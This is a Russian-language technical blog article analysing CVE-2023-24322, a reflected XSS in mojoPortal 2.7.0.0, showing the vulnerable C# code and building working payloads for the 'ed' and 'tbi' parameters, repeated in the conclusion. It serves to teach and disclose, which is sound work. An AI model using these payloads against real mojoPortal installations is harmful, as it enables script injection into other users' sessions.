>
>
>
Уязвимость XSS в приложении ASP.NET: ра…

Сергей Васильев
Статей: 96

Уязвимость XSS в приложении ASP.NET: разбираем CVE-2023-24322 в CMS mojoPortal

В этой статье изучим с разных сторон уязвимость XSS в CMS, написанной на C#. Вспомним теорию, разберёмся, как дефект безопасности выглядит со стороны пользователя и кода, а также поупражняемся в составлении эксплойтов.

Что такое cross-site scripting (XSS)?

Примечание. Можете пропустить этот раздел, если уже знакомы с основами XSS.

XSS (cross-site scripting) — уязвимость веб-приложений, связанная с внедрением кода на страницу, выдаваемую пользователю. Если приложение уязвимо к XSS, злоумышленник может провести инъекцию JavaScript-кода и похитить данные или выполнить другую вредоносную логику.

Самый простой пример XSS — использование данных из параметров или полей ввода без их проверки / экранирования.

Допустим, есть JS-скрипт, который извлекает из строки запроса значение параметра name и приветствует пользователя на веб-странице:

<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>

Выполняем запрос вида XSSExample.html?name=John и получаем ожидаемый ответ на странице — "Hello John!".

Однако если вместо имени передать скрипт, он также будет встроен в тело документа и исполнен.

Пример запроса:

XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>

Результат:

Нам удалось провести инъекцию кода. Этот дефект безопасности называется отражённой XSS (reflected XSS). Внедряемый скрипт никуда не сохраняется, а цель злоумышленника — заставить жертву выполнить небезопасный запрос к странице (например, кликнув по вредоносной ссылке). Естественно, не для того, чтобы показать формочку — это просто типовая демонстрация наличия XSS.

Разбор XSS в CMS mojoPortal (CVE-2023-24322)

От теории и синтетики переходим к разбору конкретной XSS из Open Source проекта mojoPortal. mojoPortal — это CMS, написанная на C# с использованием ASP.NET. Код проекта доступен на GitHub, а уязвимость, которую мы сегодня будем разбирать, обнаружена в версии 2.7.0.0.

Рассматриваемая XSS-уязвимость имеет идентификатор CVE-2023-24322: A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.

Из описания достаём несколько важных фактов:

  • уязвимость находится на странице FileDialog.aspx;
  • эксплуатировать дефект безопасности можно через параметры запроса ed и tbi.

Что первым делом приходит в голову при попытке проверить XSS? Наверное, передать через уязвимый параметр данные вида <script>alert(0)</script>. :)

Попробуем записать эту строку в оба параметра и посмотрим, что произойдёт.

Запись в параметр ed не приводит к видимым результатам:

А вот если ту же строку передать через параметр tbi, то содержимое страницы изменится интересным образом:

Однако это всё равно не то, чего мы ожидали — всплывающего окошка (результат вызова alert) не появилось.

Чтобы лучше разобраться в происходящем и составить эксплойты, заглянем в исходный код и посмотрим, как используются значения параметров запроса.

Общая логика

Посмотрим на код и попробуем понять, что объединяет параметры ed и tbi, после чего проанализируем обработку каждого из них.

Начнём с метода, который обрабатывает событие загрузки страницы FileDialog.aspxPage_Load:

protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}

В первую очередь нас интересует логика метода LoadSettings — в нём значения параметров ed и tbi записываются в поля editorType и clientTextBoxId соответственно.

public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}

Возвращаемся в Page_Load:

protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}

Проверка fileSystem == null даёт false, а метод PopulateLabels для нас не интересен. Так что посмотрим на тело SetupScripts:

private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}

Здесь нас интересуют 2 метода: SetupMainScript и SetupjQueryFileTreeScript. Немного позже вы поймёте, почему.

Начнём с метода SetupMainScript:

private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}

Ага, switch по знакомому полю — editorType (параметр ed). Меняя значение параметра, мы влияем на логику исполнения кода. Сейчас нас интересует default-секция и вызов метода SetupDefaultScript:

//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFolder.ClientID 
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFileUrl.ClientID 
      + "').value; ");
  }
            
  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}

Интересно. Метод постепенно записывает JavaScript-код в переменную script, после чего регистрирует полученный скрипт через вызов метода RegisterClientScriptBlock. При этом в скрипт подставляется и значение поля clientTextBoxId, соответствующее параметру tbi.

Похожая история происходит и в методе SetupjQueryFileTreeScript, который я упоминал ранее. Метод также формирует и регистрирует скрипт, используя значение поля editorType (соответствует параметру ed).

Ниже привожу сокращённое тело метода SetupjQueryFileTreeScript, так как он достаточно объёмный. Код целиком можно посмотреть по ссылке.

private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('" 
    + navigationRoot 
    + "/Dialog/FileDialog.aspx?ed=" 
    + editorType 
    + "&type=" 
    + browserType 
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}

Давайте повторим ещё раз, так как это важный момент.

Оба рассмотренных метода — SetupDefaultScript и SetupjQueryFileTreeScript — имеют структуру общего вида и используют значения параметров HTTP-запроса tbi и ed для составления скрипта.

В обобщённом (и упрощённом) виде код методов выглядит так:

void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}

Наша задача — попробовать "сломать" скрипт, записываемый в переменную script. Если всё удастся, мы изменим логику генерируемого скрипта и увидим результат инъекции кода.

Так как скрипты отличаются по структуре и вложенности, эксплойты тоже будут разными. Рассмотрим каждый из них по отдельности.

Примечание о форматировании скриптов. В статье я отформатировал JS-скрипты для удобства чтения. На самом деле они записываются в 2 строки: открывающий тег и тело скрипта на первой строке и закрывающий тег на второй:

<script type="text/javascript">function fbSubmit () { .... }
</script>

Здесь можно посмотреть на этот же скрипт без сокращений с оригинальным форматированием.

Помните про эту особенность, так как она влияет на эксплойт.

Эксплойт с использованием параметра tbi

Скрипт с использованием параметра tbi выглядит попроще — с него и начнём.

Выполним запрос следующего вида: http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload

Тогда JS-код, который генерируется в методе SetupDefaultScript, может выглядеть так:

<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>

Обратите внимание на второй аргумент метода SetUrl: именно туда попали наши данные, будучи обёрнутыми в кавычки.

Наша задача — попробовать составить такой запрос, который "сломает" скрипт и даст возможность выполнить инъекцию кода. Для этого эксплойт должен решить ряд задач:

  • "закрыть" второй аргумент функции SetUrl;
  • "закрыть" вызов функции SetUrl;
  • выйти за пределы тела функции fbSubmit;
  • провести инъекцию кода;
  • закомментировать оставшийся кусок изначального кода (тот код, который закрывает шаблон подстановки).

Все поставленные задачи должна решить строка следующего вида:

TestPayload');}alert('You have been hacked via XSS');//

Разберём, за что отвечают её части:

  • TestPayload' "закрывает" аргумент функции;
  • ); "закрывает" вызов функции SetUrl;
  • } "закрывает" тело функции fbSubmit;
  • alert('You have been hacked via XSS'); — основная логика инъекции;
  • // — комментирует часть исходного шаблона, которая осталась после подстановки — ');}.

Теперь проверим наше предположение. Для этого выполним такой запрос: http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//

Получаем ожидаемый результат:

Давайте посмотрим, как стал выглядеть генерируемый JS-код при таком запросе:

<script type = "text/javascript">
  function fbSubmit() { 
    var URL = document.getElementById('hdnFileUrl').value;   
    top.window.SetUrl(URL, 'TestPayload'); 
  } 
  alert('You have been hacked via XSS'); //');} 
</script>

Как видно, эксплойт решил все поставленные задачи: с его помощью мы смогли выйти за рамки функции и успешно внедрить код.

Что ж, здорово! Мы поняли, как можно использовать параметр tbi, чтобы эксплуатировать XSS-уязвимость. Теперь переходим ко второму уязвимому параметру — ed.

Эксплойт с использованием параметра ed

Принцип составления эксплойта для параметра ed аналогичен tbi.

Напомню, что интересующий нас JS-код, в который подставляется значение параметра ed, генерируется в методе SetupjQueryFileTreeScript.

Выполним запрос следующего вида: http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload

Теперь посмотрим на то, какой скрипт будет сгенерирован. Код целиком можно посмотреть здесь, ниже привожу сокращённый вариант:

<script type="text/javascript"> 
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>

Обратите внимание, что значение параметра ed — строка TestPayload — попала внутрь литерала.

Перед нами стоит задача, аналогичная той, что была в предыдущем случае. Нужно подобрать такие данные, которые помогли бы выйти за пределы аргумента функции encodeURIComponent и выполнить инъекцию кода.

Эксплойт так же, как и в прошлый раз, должен решать несколько задач:

  • "закрыть" аргумент функции encodeURIComponent;
  • "закрыть" вызовы и тела функций;
  • внедрить код;
  • закомментировать "хвост" шаблона, который останется после внедрения логики.

Под все требования подходит строка следующего вида:

TestPayload');});});alert('You have been hacked via XSS');//

Смысл её составляющих уже должен быть понятен:

  • TestPayload' "закрывает" аргумент функции encodeURIComponent;
  • ); "закрывает" вызов функции encodeURIComponent;
  • });}); используется для того, чтобы закрыть тела внешних функций;
  • alert('You have been hacked via XSS'); — основная логика инъекции кода;
  • // служит для комментирования части исходного скрипта, которая осталась после подстановки.

Выполняем запрос следующего вида:

http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//

Смотрим на результат:

На выходе получили точно то, что ожидали.

С указанным выше значением параметра сгенерированный JS-код принял такой вид (сокращённая версия, полная — здесь):

<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>

Всё сработало так, как мы и ожидали: мы смогли выйти из тел функции и внедрить собственный код. Обратите внимание на то, как данные из нашего запроса встроились в скрипт и изменили его логику:

Как исправили код?

В текущей версии проекта файла FileDialog.aspx.cs, который и содержал уязвимости, нет. Предположу, что код переписали или попросту убрали.

Заключение

Мы разобрали, как XSS может выглядеть на практике. Просуммируем основные моменты — пригодится, если захотите повозиться с этой уязвимостью самостоятельно:

  • CVE-ID: CVE-2023-24322
  • проект: mojoPortal v2.7.0.0
  • суть уязвимости: возможность выполнить XSS на странице /Dialog/FileDialog.aspx при использовании параметров ed и tbi
  • возможный эксплойт для ed: TestPayload');});});alert('You have been hacked via XSS');//
  • возможный эксплойт для tbi: TestPayload');}alert('You have been hacked via XSS');//

Если эта статья понравилась, и хочется почитать ещё что-нибудь на тему безопасности, предлагаю полистать блог.

Если хотите проверить код своего проекта на дефекты безопасности (XSS, SQLi, XXE и т. п.), проанализируйте его с помощью PVS-Studio.